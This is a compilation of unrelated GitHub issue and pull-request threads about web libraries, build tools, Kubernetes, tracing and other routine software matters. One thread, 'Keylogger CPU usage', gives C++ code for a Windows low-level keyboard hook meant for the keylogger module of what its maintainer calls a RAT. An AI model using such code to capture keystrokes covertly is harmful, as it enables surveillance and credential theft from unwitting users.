From: Carl Kesselman <notifications<EMAIL_ADDRESS>Sent: Wednesday, August 22, 2018 4:17 PM
To: informatics-isi-edu/ermrestjs
Cc: Hongsuda Tangmunarunkit; Author
Subject: Re: [informatics-isi-edu/ermrestjs] get citation feature (#678)
I think given that we are looking at citation events for an entity, that perhaps the owner of the record as determined by the system column would be the appropriate value. My thinking is that we want everything to be easily citable. We want to encourage people creating and passing around RIDs rather then arbitrary URLs or dumping to dropbox.

Dr. Carl Kesselman
Dean’s Professor, Epstein Department of Industrial and Systems Engineering
Fellow, Information Sciences Institute
Viterbi School of Engineering
Professor, Preventive Medicine
Keck School of Medicine
University of Southern California
4676 Admiralty Way, Suite 1001, Marina del Rey, CA 90292-6695
Phone: +1<PHONE_NUMBER>
Email: carl@isi.edumailto:carl<EMAIL_ADDRESS>Web: http://www.isi.edu/~carl
On Aug 22, 2018, at 3:54 PM, Hongsuda <notifications@github.commailto:notifications<EMAIL_ADDRESS>wrote:
Other fields are optional. For GUDMAP, we put the PI as the author, and likely to leave the title blank..
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/informatics-isi-edu/ermrestjs/issues/678#issuecomment-415212491, or mute the threadhttps://github.com/notifications/unsubscribe-auth/ADbjXupJdGtkee-JYhmIyxSifa_2y7VPks5uTeE-gaJpZM4Vb0XM.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/informatics-isi-edu/ermrestjs/issues/678#issuecomment-415218253, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AAZUDNFr2h7YFu8K3VToaC4v4znaOcyzks5uTeaegaJpZM4Vb0XM.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/informatics-isi-edu/ermrestjs/issues/678#issuecomment-415219682, or mute the threadhttps://github.com/notifications/unsubscribe-auth/ADbjXv7Mp56Jr-8f4LdZmntrqxIyUNLFks5uTehRgaJpZM4Vb0XM.

@hongsudt  support for this feature has been added to both ermrestJS and chaise. Documentation for the annotation can be found here.
Reassigning this issue to you for verification.

Great thanks.  Overall this looks nice.
Of course, we want the RID resolver link, not the chaise link (I suspect you are waiting for the resolver?) We should think a bit about the text.  We have Share Citation, Share Link and Citation.  Seems a bit confusing to me.
Carl

Dr. Carl Kesselman
Dean’s Professor, Epstein Department of Industrial and Systems Engineering
Fellow, Information Sciences Institute
Viterbi School of Engineering
Professor, Preventive Medicine
Keck School of Medicine
University of Southern California
4676 Admiralty Way, Suite 1001, Marina del Rey, CA  90292-6695
Phone:  +1<PHONE_NUMBER>
Email:  carl<EMAIL_ADDRESS>Web: http://www.isi.edu/~carl
On Sep 13, 2018, at 5:22 PM, Hongsuda <notifications<EMAIL_ADDRESS>wrote:
Check this link for citation with DOI url.
https://dev.rebuildingakidney.org/chaise/recordset/#2/Common:Collection@sort(RID)
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/informatics-isi-edu/ermrestjs/issues/678#issuecomment-421192255, or mute the threadhttps://github.com/notifications/unsubscribe-auth/ADbjXuqLqRYBIDq_Xlu7vMiya7PG9RdEks5uavbYgaJpZM4Vb0XM.

Is there a way to get a “copy link” action there somehow?
Carl

Dr. Carl Kesselman
Dean’s Professor, Epstein Department of Industrial and Systems Engineering
Fellow, Information Sciences Institute
Viterbi School of Engineering
Professor, Preventive Medicine
Keck School of Medicine
University of Southern California
4676 Admiralty Way, Suite 1001, Marina del Rey, CA  90292-6695
Phone:  +1<PHONE_NUMBER>
Email:  carl<EMAIL_ADDRESS>Web: http://www.isi.edu/~carl
On Sep 13, 2018, at 5:22 PM, Hongsuda <notifications<EMAIL_ADDRESS>wrote:
Check this link for citation with DOI url.
https://dev.rebuildingakidney.org/chaise/recordset/#2/Common:Collection@sort(RID)
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/informatics-isi-edu/ermrestjs/issues/678#issuecomment-421192255, or mute the threadhttps://github.com/notifications/unsubscribe-auth/ADbjXuqLqRYBIDq_Xlu7vMiya7PG9RdEks5uavbYgaJpZM4Vb0XM.

Isn't that the same as right click on link?

The title will be just "Share" and there will be a bit improvement on the UX. Please check the UX again after the code is merged.

yea, I suppose so.
Google drive has this nice feature that they provide a button that copies the link to the clipboard.
[cid:3A2DA36B-BB55-483C-A9B3-A1F47438BA55]
Dr. Carl Kesselman
Dean’s Professor, Epstein Department of Industrial and Systems Engineering
Fellow, Information Sciences Institute
Viterbi School of Engineering
Professor, Preventive Medicine
Keck School of Medicine
University of Southern California
4676 Admiralty Way, Suite 1001, Marina del Rey, CA  90292-6695
Phone:  +1<PHONE_NUMBER>
Email:  carl<EMAIL_ADDRESS>Web: http://www.isi.edu/~carl
On Sep 13, 2018, at 5:51 PM, Hongsuda <notifications<EMAIL_ADDRESS>wrote:
Isn't that the same as right click on link?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/informatics-isi-edu/ermrestjs/issues/678#issuecomment-421196285, or mute the threadhttps://github.com/notifications/unsubscribe-auth/ADbjXqL55nmEi128LcpUcnNKp4KCyU5Aks5uav2GgaJpZM4Vb0XM.

The text and CSS changes have been merged as part of PR #1643 in chaise.

I have verified that this works on rbk. SO I am closing this issue.


MINOR: Clean Metrics.defaultRegistry to avoid transient failures in testSessionExpireListenerMetrics

The failure could manifest itself if the default metrics registry had some entries from other tests:
java.lang.AssertionError: Unexpected meter count expected:<0> but was:<3>
I also removed an unused variable and improved the error message to include the metric name.

Review by @ewencp.

LGTM


Fix initial migration.

Unfortunately it seems the Initial flag was lost from the migration. My apologies. Just ran this on a clean database and it is now working.

Thank you for the fix


params for dbcbs benchmark

Figured out after getting the benchmark results, checker was complaining.
Is there a way I could run the db-cbs benchmark without merging the dynobench with the PR I do ? otherwise I have to do the PR each time I do small changes, which might be time consuming for you to review.

I learned how to do it, next time I will try to do big changes once.

this is the branch I am currently running to do the main benchmark with db-cbs.

thanks!


AI-392: Update versions and tests for new image releases

@eliazz95 Looks good! I didn't see any "approve" button, but go ahead and merge it.


[QUESTION] Supporting nginxinc ingress

spark-operator currently outputs kubernetes/ingress-nginx ingress.  Unfortunately we use nginxinc/kubernetes-ingress within our cluster.  Since both ingress has the same name, I don't believe it can co-exist within the same cluster.  Any thoughts on also supporting nginxinc's version?

I assume you're referring to the ingress class name? If so the controller supports passing this as a CLI argument however I just noticed it's not exposed in the Helm chart. I'm sure there's more work we can do to support different ingress types but for the immediate case, would being able to specify the ingress class name solve your issue?
https://github.com/kubeflow/spark-operator/blob/master/cmd/operator/controller/start.go#L155

There are two different nginx ingress controllers with the same name.  One is maintained by Kubernetes (what spark-operator supports) and nginx ingress maintained by the nginx company (nginxinc).  Both controllers have the same ingress class name ('nginx').  What spark-operator is writing out doesn't work with nginxinc ingress since the annotations and host section is slightly different.  I don't think specifying ingress class will work in this case since both ingress controllers have the same exact name and different specifications.

@jacobsalway Just following up on this.  I don't think what you described will fix the issue we are facing.


New command: moon migrate nx-project

A command that would allow one to migrate their NX projects to moon. This can be achieved by leveraging nx dep-graph which provides a lot of information about each project.
What do you think about this feature?
If accepted, i would like to make a PR for the same.

im here just because Im looking for something like this ;)
hopefully supportning not only fresh nx but something like v14 too xD

Hey @mi4uu I have since stopped using Nx, so don't have any motivation to pick this up. You should make a PR for it 😉.

We've got an initial version of this now https://moonrepo.dev/blog/moon-v1.22


simple-cipher has ruby code in the README

... as noted by @petertseng in #171
It should be cleaned up to be language independent.

#333 has got it.


Audio device extension tweaks

Description
Just a couple of tweaks to the audio-device extension:

Made it so the Set Output Device to Favourite command shows a subtitle like all of the other commands and make it a no-view command seeming though it doesn't need a UI
Added an extra action to the lists that lets you copy the name of the device - This is useful for setting the preference for your favourite output device (as this requires the exact name of the device)
Update a couple of the strings throughout the extension to make them consistent with each other
Minor refactoring to clean up some stuff

Screencast

Checklist

[x] I read the extension guidelines
[x] I read the documentation about publishing
[x] I ran npm run build and tested this distribution build in Raycast
[x] I checked that files in the assets folder are used by the extension itself
[x] I checked that assets used by the README are placed in the media folder

Hm, it looks like the linter has never been used on this extension. I can run it and fix the issues but its likely to bulk out the PR?

Hum weird - but yes, can you run the linter please?

@mathieudutour Thats fixed up now 👍


Delegate methods are never called?

Thanks for this! I dragged SwiftyDraw to my project. I added this to viewDidLoad():
  let drawView = SwiftyDrawView(frame: self.view.frame)
    self.view.addSubview(drawView)

I also made the UIViewController a SwiftyDrawViewDelegate. None of the delegate methods (began, ended) are called.

    drawView.delegate = self


Edit Report Menu tree's selection isn't working

Operations is selected:

First and second level of this tree has broken selection.

@miq-bot assign @skateman

@ZitaNemeckova is this still reproducible?

@skateman Nope.
No longer reproducible. Closing.


CORS errors: https://data.mydomain.com/

Our deployment is producing a couple of errors in console log:

I followed the deployment instructions and replaced all instances of the mydomain.com in the env files; I even grepped the full repo to double check this and it only found instances in the README.
It seems some example domain is hardcoded somewhere?

data.mydomain.com is only used in the deployment instructions, so something must have been forgotten somewhere.
https://github.com/search?q=repo%3Achemins-de-la-transition%2Fsemapps data.mydomain.com&type=code
Maybe a cache problem ? Did you try to clean up the Redis cache ?

I tried nuking the ./data folder in the hopes of clearing the cache, but the problem persists. Is there some other way I should clear the cache?

Hmm I guess you only removed the /data/redis folder, because /data/fuseki includes the triplestore data. :-)
Here's the clean way to clear all Redis cache: docker compose exec -it redis redis-cli FLUSHALL

Since it's a frontend issue, rebuilding the frontoffice after ensuring that the env variables are correct should be enough actually...


Upgrade codecov to resolve security dependency

v3.0.1 resolves a security vulnerability

:tada: This issue has been resolved in version 1.1.1 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Make nickname a required meta field

Add missing nicknames
Use SPDX ID if no customary nickname (eg GNU GPLv3) exists
This ensures that a relatively compact name is always available
I may be missing some obvious customary names, e.g., is "Eclipse
1.0" customary? For now I've used the SPDX ID, EPL-1.0.

👍 Good idea.

I think I have a better idea though: make a new spdx-id field required. This would provide the case-sensitive version people sometimes want and make for a default short display value. Nickname would still be available for licenses with customary names, and user interfaces that wanted to could prefer nicknames.


Rename attribute for readability

What this PR does / why we need it?
Rename attribute for readability.
Summary of your change
Rename attribute for readability.
Please indicate you've done the following:

[x] Made sure tests are passing and test coverage is added if needed.
[x] Made sure commit message follow the rule of Conventional Commits specification.
[ ] Considered the docs impact and opened a new docs issue or PR with docs changes if needed.

Codecov Report

Merging #335 (241608b) into main (e3d7fc0) will decrease coverage by 0.44%.
The diff coverage is 86.95%.

@@             Coverage Diff              @@
##               main     #335      +/-   ##
============================================
- Coverage     70.68%   70.24%   -0.45%
+ Complexity    10574    10540      -34
============================================
  Files           482      482
  Lines         50656    50652       -4
  Branches      10609    10610       +1
============================================
- Hits          35805    35579     -226
- Misses        10494    10751     +257
+ Partials       4357     4322      -35

Impacted Files
Coverage Δ

...g/websocket/sockjs/FastjsonSockJsMessageCodec.java
65.00% <50.00%> (ø)

...g/http/converter/FastJsonHttpMessageConverter.java
54.11% <83.33%> (-1.06%)
:arrow_down:

...n2/support/retrofit/Retrofit2ConverterFactory.java
93.10% <100.00%> (-0.45%)
:arrow_down:

...pport/spring/webservlet/view/FastJsonJsonView.java
94.11% <100.00%> (ø)

...main/java/com/alibaba/fastjson2/util/JDKUtils.java
45.80% <0.00%> (-24.52%)
:arrow_down:

...java/com/alibaba/fastjson2/JSONWriterUTF8JDK9.java
74.11% <0.00%> (-10.59%)
:arrow_down:

...n/java/com/alibaba/fastjson2/util/UnsafeUtils.java
65.21% <0.00%> (-5.80%)
:arrow_down:

...in/java/com/alibaba/fastjson2/JSONWriterJSONB.java
52.18% <0.00%> (-5.59%)
:arrow_down:

.../main/java/com/alibaba/fastjson2/util/IOUtils.java
55.06% <0.00%> (-5.07%)
:arrow_down:

...in/java/com/alibaba/fastjson2/JSONReaderJSONB.java
68.89% <0.00%> (-2.69%)
:arrow_down:

... and 6 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e3d7fc0...241608b. Read the comment docs.


Minor Changes to Sets

I still have a couple of changes to make to summary, but see Issue #121.
If you disagree with any of the changes, let me know and I'll remove them.

I made the spacing after periods consistent for this chapter (except for summary of course). I have chosen to use single spacing. This still needs to be done for the whole book, however, as there are still probably inconsistencies in sentence spacing throughout the book.

I change rationals to rational numbers. Rationals seems to be used primarily colloquially. If that's what you were going for, then I'll change it, but rational numbers seems to fit better here to me.

My change in proofs about sets was to improve flow and remove "but". "But" doesn't really make sense here, as what is said after the "but" doesn't contrast what is said before it.

Thanks!


Keylogger CPU usage

If you want to drastically lower the CPU usage of the keylogger module then I suggest using a Low Level keyboard hook. This acts like an event handler and uses exceptionally low CPU and memory consumption.
#include "stdafx.h"
#include <Windows.h>

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode == HC_ACTION)
    {
        switch (wParam)
        {
        case WM_SYSKEYUP:
            PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
            int key = (int)p->vkCode;               // Here you would need to map the virtual key to a char, this is easy to do and I have  a sample somewhere.

            // Take that char and do with it as you will. Also this allows you to modify keystrokes on the fly if you were to be interested in that.
            // I also have sample code for that.
            break;
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int main()
{
    // Install the low-level keyboard & mouse hooks
    HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0);

    // Keep this app running until we're told to stop
    MSG msg;
    while (!GetMessage(&msg, NULL, NULL, NULL)) {    //this while loop keeps the hook
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    UnhookWindowsHookEx(hhkLowLevelKybd);

    return(0);
}

Thank you for the suggestion! I was planning on implementing the keylogger via. winapi hooks, but since @JulianGi contributed with the simpler version, I decided to make the functionality optional and warned that it is very cpu-demanding. After my exams are over I will rebase the RAT, which will include the winapi keylogger.


Auto saving to relationship

By looking at the source code here it seems like the component is saving manually during dehydration. As I wasn't able to use laravel-seo (because it doesn't support multiple front facing domains with different content at the moment) I had to replicate both that and this package features. I found out that you can save automatically relationships in fieldsets, so my approach was this:
<?php

namespace App\Traits;

use Filament\Forms\Components\Fieldset;
use Filament\Forms\Components\Tabs\Tab;
use Filament\Forms\Components\TextInput;
use Filament\Forms\Components\Tabs;

trait WithSEOFields
{
    public static function seoTab()
    {
        return Tab::make('SEO', 'SEO')
            ->label('SEO')
            ->schema([
                self::seoFieldset()
            ]);
    }

    public static function seoFieldset()
    {
        return Fieldset::make('SEO')
            ->relationship('seo')
            ->schema([
                TextInput::make('meta_title')->label('Meta Title'),
                TextInput::make('meta_description')->label('Meta Description'),
                TextInput::make('canonical_link')->label('Canonical Link'),
            ]);
    }

}

and in resource
public function form(Form $form): Form
    {
        return $form
            ->schema([
                Tabs::make('Label')
                    ->tabs([
                        ...other tabs
                        self::seoTab(),
                    ])->columnSpanFull(),
            ]);
    }

as laravel-seo is a normal polymorphic morphTo relationship, is this doable?

@digitall-it I think that should work, but the best way to find out is to just try it I think :)


traceId&traceIdString

I get in trouble.
TraceId in web UI(localhost:9411) is traceIdString. example : 5282c4eb28eb478.
But traceId storaged in MySql is traceId. example : -5143342160568881582.
I want them to be consistent, such as traceId storaged in mysql is traceIdAsString rather than trancId. because i want to get a traceId(traceIdString) in mysql to search in web ui.
I saw the README.md in github, but i still dont know how to do.
someone can help me.?
thanks.

Hi! So it is true we store the ids as numbers in mysql (though we store as string in elasticsearch) https://github.com/openzipkin/zipkin/tree/master/zipkin-storage/mysql#exploring-zipkin-data
If you paste the below, it will make a string for you. You can also change the query of course.
SELECT lower(concat(CASE trace_id_high
WHEN '0' THEN ''
ELSE hex(trace_id_high)
END,hex(trace_id))) AS trace_id,
lower(hex(parent_id)) as parent_id,
lower(hex(id)) as span_id,
name,
from_unixtime(start_ts/1000000) as timestamp
FROM zipkin_spans
where (start_ts/1000000) > UNIX_TIMESTAMP(now()) - 5 * 60;

thank you, ^_^  @adriancole 👍

no problemo! https://gitter.im/openzipkin/zipkin if you have more questions


Add a min/max limit

Would it be possible to add a min/max limit to an input value? let's say for example, limit year to a specific range? TIA

+1 for numeric. I guess it can also be for dates.

+1 for numeric

+1

Sorry for disappointing you guys. numeric is a good feature but a bit over what the lib was designed for.
Cheers, will close it for now.

I know this issue closed and probably you still dont think to add this feature but please listen
@nosir this library is the one of the best library available.
Most of the libraries don't allow 8 decimals like 0.12345678.
But in your library we got no floating limit. Only needed feature is minimum and maximum. If you can implement it that would be super cool.
Please inspect this ( https://kevinongko.github.io/vue-numeric/ ) This library provides min and max but decimal digit support and some other features doesn't work as expected.

@nosir any news here?
numeral min/max feature is the only thing that prevents us to move completely to cleave.js (We are using autonumeric for now).
We would love to move completely to cleave.js.

Lack of numeral min/max feature is the only thing that disappointed me in Cleave.js. It will be super good if you guys could find a way to add it to the library.  Thanks!

+1 to request for max length of a number. I can hack the html input to have a maxlength but that's not as nice, as the commas/periods/prefixes are included in that..

It's not ideal but you can use HTML5 form validations to prevent the submission of out-of-range values. Add data attributes data-cleave-min and data-cleave-max to the inputs you want to constrain and then do something like this:
(it uses jQuery but I'm sure you can adapt it if required)
function applyCleave() {
    $('[data-cleave-2dp]').each(function (index, e) {
      let el = $(e);
      let cleaveMin = el.data('cleave-min');
      let cleaveMax = el.data('cleave-max');
      let cleave = new Cleave(e, {
        numeral: true,
        numeralDecimalScale: 2,
        onValueChanged: function(ee) {
          if (cleaveMin || cleaveMax) {
            let val = parseFloat(ee.target.rawValue);
            if (cleaveMax != undefined && val != undefined && (val > cleaveMax)) {
              e.setCustomValidity('This value cannot be above ' + cleaveMax);
            } else if (cleaveMin != undefined && val != undefined && (val < cleaveMin)) {
              e.setCustomValidity('This value cannot be below ' + cleaveMin);
            } else {
              e.setCustomValidity('');
            }
          }
        }
      });
    });
  }

My workaround for max value is blocks: [Your limit] and for delimiter: ""


Account creation with jwt security check

Fixes #106
Description
This PR incorporates a new endpoint called accounts/create4google that receives the public keys (owner and active) and the JWT obtained from authenticating the user. With this info, the endpoint checks the JWT to avoid attacks and abuses and then creates a random account for that user
This endpoint also receives an optional suggested name to try first. If that name is not provided or is already used, the endpoint will create a random account.

I just created two more auxiliary functions to store and recover account names created for each Google user.
My problem is that the table I'm using for storing this information is not defined in the database. I need someone to create that table with the corresponding indexes.
I defined the variable googleUsersTableName in the ecosystem.config.js file with the following names:
const envDev = {
   // ...
   googleUsersTableName: 'dev-google-users-accounts',
};
const envProd = {
   // ...
   googleUsersTableName: 'prod-google-users-accounts',
}

The fields of the tables are:

userId: number  (primary key)
accountName: string


Use settings.local.yml instead of overwriting settings.yml

During deployment in ohm-deploy, we currently use sed to replace variables in settings.yml. Instead, we should use settings.local.yml that can be generated directly from the env.
cc @batpad @Rub21

We should also try just using the OPENSTREETMAP_ prefix. This has worked in the past but was unreliable.

Closing this due to lack of activity. I assume if this were critical, we'd have fixed it by now.


elm-live crash when a file is not found instead responding with a 404

If you try an url for a non existing file, for example: http://localhost:8000/xyz/index.html
elm-live will stop with  the error:
internal/fs/utils.js:537
    throw new ERR_INVALID_ARG_TYPE(propName, ['string', 'Buffer', 'URL'], path);
    ^
TypeError [ERR_INVALID_ARG_TYPE]: The "path" argument must be of type string or an instance of Buffer or URL. Received undefined
    at readFile (fs.js:313:10)
    at /Users/userName/projectName/node_modules/crocks/Async/index.js:54:10
    at Object.fork (/Users/userName/projectName/node_modules/crocks/Async/index.js:155:20)
    at /Users/userName/projectName/node_modules/crocks/Async/index.js:254:41
    at settle (/Users/userName/projectName/node_modules/crocks/Async/index.js:151:16)
    at ReadFileContext.callback (/Users/userName/projectName/node_modules/crocks/Async/index.js:56:47)
    at FSReqCallback.readFileAfterOpen [as oncomplete] (fs.js:257:13) {
  code: 'ERR_INVALID_ARG_TYPE'
}
node /Users/userName/projectName/elm-start/src-js/start.js serverDev exited with code 0

Could be related to
https://github.com/wking-io/elm-live/issues/207
https://github.com/wking-io/elm-live/issues/205
https://github.com/wking-io/elm-live/issues/195

I can confirm this issue. I saw it after checking a fresh repo and freshly installing elm-live. I guess it was trying to load the index before it was fully built
git:(master) elm-live src/Main.elm --open

elm-live:
  Server has been started! Server details below:
    - Website URL: http://localhost:8000
    - Serving files from: /Users/foo/xxx/glmorph

internal/fs/utils.js:535
    throw new ERR_INVALID_ARG_TYPE(propName, ['string', 'Buffer', 'URL'], path);
    ^

TypeError [ERR_INVALID_ARG_TYPE]: The "path" argument must be of type string or an instance of Buffer or URL. Received undefined
    at readFile (fs.js:313:10)
    at /Users/foo/.nvm/versions/node/v12.16.3/lib/node_modules/elm-live/node_modules/crocks/Async/index.js:54:10
    at Object.fork (/Users/foo/.nvm/versions/node/v12.16.3/lib/node_modules/elm-live/node_modules/crocks/Async/index.js:155:20)
    at /Users/foo/.nvm/versions/node/v12.16.3/lib/node_modules/elm-live/node_modules/crocks/Async/index.js:254:41
    at settle (/Users/foo/.nvm/versions/node/v12.16.3/lib/node_modules/elm-live/node_modules/crocks/Async/index.js:151:16)
    at ReadFileContext.callback (/Users/foo/.nvm/versions/node/v12.16.3/lib/node_modules/elm-live/node_modules/crocks/Async/index.js:56:47)
    at FSReqCallback.readFileAfterOpen [as oncomplete] (fs.js:257:13) {
  code: 'ERR_INVALID_ARG_TYPE'
}

Anyone have a fork with this fixed? Been dealing with this same issue as well.

Anyone have a fork with this fixed? Been dealing with this same issue as well.

Anyone have a fork with this fixed? Been dealing with this same issue as well.

At work we use elm-go, a clone that we made to fix some issues of elm-live

This occurs when the index.html file is missing from the --dir


Ability to see last time a user replied to a post (& sort by it)

Low priority. Probably as an optional column as part of an overhaul.

Use-case: to find out when someone is online and has been actively tagging. (The most recent reply by the user would help but would not be sufficient, as they may have just popped in to tag one post.)
This would appear on a user's page somewhere, presumably.


Add X/Twitter to website

https://twitter.com/IdrinthApiBench

Hi @Idrinth is this something i can look into if no one is assigned to it yet? Thanks

Hi @Idrinth is this something i can look into if no one is assigned to it yet? Thanks

Great! Go right ahead!

Thanks.

where would you lime it to be added please?

where would you like the X logo to be added please?

with all the other social icons in the header

OK Great.

I would like to take this issue.

I would like to take this issue.

sure, thanks!


Fix 0-RTT by moving cookie generation to server config

Hello @jbenoist, thanks for this PR!
This is a partial fix for #874 (it only works for the gQUIC handshake, not the TLS handshake). I think I can merge it like this, since it will improve performance in production. Can you please fix the tests?
I've been thinking about the right API for this after our discussion in Seattle, but not come to a conclusion yet. For a large-scale deployment there needs to be a mechanism to rotate Server Configs, and probably the Cookie Generators as well, which suggests to move this to the quic.Config in form or the other (probably as separate entries, so it can be used by gQUIC and TLS as well). This will be a more complicated change, so let's first move forward with this PR.

Sure thing, I've cleaned up the server_config/crypto_setup_server  tests and seems to be good now. However, in my environment, I'm having a hard time repro the timeout as seen here
https://travis-ci.org/lucas-clemente/quic-go/jobs/291687171#L843
Attempting a re-run

Codecov Report

Merging #890 into master will not change coverage.
The diff coverage is 66.67%.

@@           Coverage Diff           @@
##           master     #890   +/-   ##
=======================================
  Coverage   90.74%   90.74%
=======================================
  Files          90       90
  Lines        6212     6212
=======================================
  Hits         5637     5637
  Misses        371      371
  Partials      204      204

Impacted Files
Coverage Δ

internal/handshake/crypto_setup_server.go
89.11% <100%> (+0.6%)
:arrow_up:

internal/handshake/server_config.go
83.33% <50%> (-4.17%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9e19718...d9c8c7d. Read the comment docs.

Don't worry about the Travis build. It's probably one of those loss recovery issues we talked about.


Change default persisted connections down to 1

If ok, see also https://github.com/vespa-engine/documentation/pull/542

merge?


Sequence Diagrams for Solve Complaint

Add sequence diagram for complaint solving.

Sequence diagrams are added to the Software Design Wiki Page.


performMinorGC before collecting end RTSStats

RTSStats are updated on GC, so this ensures that the collected memory stats are accurate.
Fixes #62.

Thanks!


[tests] patching singledispatched functions clashes with pytest fixture

For some reason, the dispatching does not work, and hence the generic function is called.

        Args:
            dbname (str): the name of the database to drop.

        Raises:
            :exc:`~DatabaseDoesNotExist`: If the given :attr:`dbname` does not
                exist as a database.
        """

>       raise NotImplementedError
E       NotImplementedError

bigchaindb/backend/schema.py:74: NotImplementedError
------------------------------------ Captured log setup ------------------------------------
connection.py               60 DEBUG    Connection: <class 'bigchaindb.backend.rethinkdb.connection.RethinkDBConnection'>
!!!!!!!!!!!!!!!!!!!!!!!!!! Interrupted: stopping after 1 failures !!!!!!!!!!!!!!!!!!!!!!!!!!
============================ 1 passed, 1 error in 2.69 seconds =============================

Note: Some issues may still be issues but we're gradually losing sight of what is what. We can't tell the needles from the haystack they are in. If we burn the haystack, hopefully the needles will become apparent. We will step on the needles and be motivated to fix them. That's a sad analogy!


Add Package.resolved to .gitignore

Motivation:
In general, Package.resolved should not be checked in to version control.
Modifications:
Add Package.resolved to .gitignore.
Result:
Package.resolved no longer reported as Untracked by git.

@swift-nio-bot test this please


feat: big changes

This PR is a mess but it's doing lots of things (it includes #1):

[x] script for dataset in tfrecords/webp + dataloader
[x] handle both rgb and lab space
[x] fix quantize -> quantizer
[x] handle multiple hosts (need infinite data in case we have different dataset length)
[x] allow multiple configs: use of extra projection, extra conv post attention, bias, normformer, GLU, dropout
[x] use both l1 (same as logit laplace?) and l2 loss
[x] log metrics
[x] support shampoo
[ ] use pjit for custom sharding
[ ] log reconstruction samples
[x] use lpips
[ ] use stylegan loss
[ ] use gradient penalty
[ ] reset unused codes

Current status:

default LR
7h training

Pedro added LPIPS 🔥

All right, training loop now in working state

I can take a look at the stylegan loss to see what it looks like.
Regarding the log reconstruction samples task, should we do it using an external cron job like we usually do for training?

I'll add the remaining items as separate issues


[Question]: How to use the DEFAULT_SCHEMA_EXTRACT_PROMPT ?

Question Validation

[ ] I have searched both the documentation and discord for an answer.

Question
I have read the custom prompt doc: ,  and searched all examples ,  but failed to figure out how to use the DEFAULT_SCHEMA_EXTRACT_PROMPT ,  how to pass the prompt template parameters ({text} and {schema}) value to llama-index?  is it possible for a large text?

@derekgray23 Those variables get filled in automatically by llama index, so you have to leave them as variables in the prompt template

@derekgray23 Those variables get filled in automatically by llama index, so you have to leave them as variables in the prompt template

@logan-markewich thanks for your reply.  I have a customized JSON schema, how to let llama-index know this customized schema?

@derekgray23 so you are using the json query engine here? Or what is the use case you are attempting?
If you are using the json query engine, you just have to create the json schema in a file and pass it into the engine :)
https://gpt-index.readthedocs.io/en/latest/examples/query_engine/json_query_engine.html#let-s-start-on-a-toy-json

@logan-markewich the use case is to extract specified fields from unstructured text (non-performing loan asset description in fact),  hope the query engine could respond in JSON format.

@derekgray23 ah I see, that makes sense
Tbh, you might be better off using the openai pydantic program https://github.com/jerryjliu/llama_index/blob/main/docs/examples/output_parsing/openai_pydantic_program.ipynb
Define an output object with the fields you want to collect, and then send the program off to do it's job on each chunk of text. Pydantic makes it really easy to convert objects to JSON, and the new OpenAI function call API makes it easy to generate pydantic objects
from pydantic import BaseModel

class ThingToExtract(BaseModel):
    """This object defines ThingToExtract, which is used as an example."""
    field_to_extract: str

class ThingsExtracted(BaseModel):
    """This object represents a collection of extracted things."""
    things: List[ThingToExtract]

# NOTE: this may take some prompt engineering to get OpenAI LLM to call our output_cls
prompt_template_str = "Generate a list of things to extract from the follow text: {text}\n"

program = OpenAIPydanticProgram.from_defaults(
    output_cls=ThingsExtracted,
    prompt_template_str=prompt_template_str,
    verbose=True,
)

extracted_things = program(text="my text to extract from, should be about 1000-2000 tokens long")

Tbh we should probably bake this process into our code soon so it's easier to do :)

@logan-markewich thanks for your great help, I will give it a try.

@logan-markewich thanks for your great help, I will give it a try.


local-volume-provisioner doesn't working

Is this a BUG REPORT or FEATURE REQUEST? (choose one):
BUG REPORT
I'm trying to install rabbitmq helm chart, but got error:
Unable to mount volumes for pod "mollified-bat-rabbitmq-77fc69c5b9-nxgld_default(adad6f88-17c8-11e8-83c4-a4bf01279c10)": timeout expired waiting for volumes to attach/mount for pod "default"/"mollified-bat-rabbitmq-77fc69c5b9-nxgld". list of unattached/unmounted volumes=[data]

Environment:

Cloud provider or hardware configuration:
bare-metal
OS (printf "$(uname -srm)\n$(cat /etc/os-release)\n"):

Linux 4.4.0-116-generic x86_64
NAME="Ubuntu"
VERSION="16.04.3 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.3 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

Version of Ansible (ansible --version):

ansible <IP_ADDRESS>
  config file = None
  configured module search path = [u'/Users/maxpain/.ansible/plugins/modules', u'/usr/share/ansible/plugins/modules']
  ansible python module location = /Library/Python/2.7/site-packages/ansible
  executable location = /usr/local/bin/ansible
  python version = 2.7.10 (default, Feb  7 2017, 00:08:15) [GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.34)]

Kubespray version (commit) (git rev-parse --short HEAD):
42a0f462
Network plugin used:
calico
Copy of your inventory file:
[all]
node1 	 ansible_host=<IP_ADDRESS> ip=<IP_ADDRESS>
node2 	 ansible_host=<IP_ADDRESS> ip=<IP_ADDRESS>
node3 	 ansible_host=<IP_ADDRESS> ip=<IP_ADDRESS>

[kube-master]
node1

[kube-node]
node1
node2
node3

[etcd]
node1
node2
node3

[k8s-cluster:children]
kube-node
kube-master

[calico-rr]

[vault]
node1
node2
node3

Command used to invoke ansible:
